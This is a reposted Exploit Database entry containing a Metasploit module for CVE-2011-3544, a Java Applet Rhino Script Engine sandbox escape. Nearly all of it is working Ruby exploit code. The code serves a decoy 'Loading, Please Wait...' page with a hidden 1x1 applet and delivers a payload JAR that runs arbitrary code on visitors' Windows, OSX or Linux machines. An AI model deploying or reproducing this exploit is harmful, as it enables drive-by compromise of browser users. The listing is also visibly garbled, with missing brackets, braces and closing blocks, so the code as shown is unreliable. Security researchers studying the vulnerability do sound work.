Java Applet Rhino Script Engine – Remote Code Execution (Metasploit)

Exploit Database
121 阅读

作者： Metasploit

日期： 2011-11-30
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/18171/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'rex'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize( info = {} )

super( update_info( info,

'Name'=> 'Java Applet Rhino Script Engine Remote Code Execution',

'Description' => %q{

This module exploits a vulnerability in the Rhino Script Engine that

can be used by a Java Applet to run arbitrary Java code outside of

the sandbox.The vulnerability affects version 7 and version 6 update

27 and earlier, and should work on any browser that supports Java

(for example: IE, Firefox, Google Chrome, etc)

'License' => MSF_LICENSE,

'Author'=>

[

'Michael Schierl', # Discovery

'juan vazquez',# metasploit module

'Edward D. Teach <teach@consortium-of-pwners.net>',

'sinn3r'

'References'=>

[

[ 'CVE', '2011-3544' ],

[ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],

[ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],

'Platform'=> [ 'java', 'win', 'linux' ],

'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

'Targets' =>

[

[ 'Generic (Java Payload)',

{

'Arch' => ARCH_JAVA,

}

[ 'Windows Universal',

{

'Arch' => ARCH_X86,

'Platform' => 'win'

}

[ 'Apple OSX',

{

'ARCH' => ARCH_X86,

'Platform' => 'osx'

}

[ 'Linux x86',

{

'Arch' => ARCH_X86,

'Platform' => 'linux'

}

]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Oct 18 2011'

))

end

def on_request_uri( cli, request )

if not request.uri.match(/\.jar$/i)

if not request.uri.match(/\/$/)

send_redirect(cli, get_resource() + '/', '')

return

end

print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")

send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )

return

end

paths = [

[ "Exploit.class" ]

]

p = regenerate_payload(cli)

jar= p.encoded_jar

paths.each do |path|

1.upto(path.length - 1) do |idx|

full = path[0,idx].join("/") + "/"

if !(jar.entries.map{|e|e.name}.include?(full))

jar.add_file(full, '')

end

fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")

data = fd.read(fd.stat.size)

jar.add_file(path.join("/"), data)

fd.close

end

print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )

send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

handler( cli )

end

def generate_html

html= "<html><head><title>Loading, Please Wait...</title></head>"

html += "<body><center><p>Loading, Please Wait...</p></center>"

html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"

html += "</applet></body></html>"

return html

end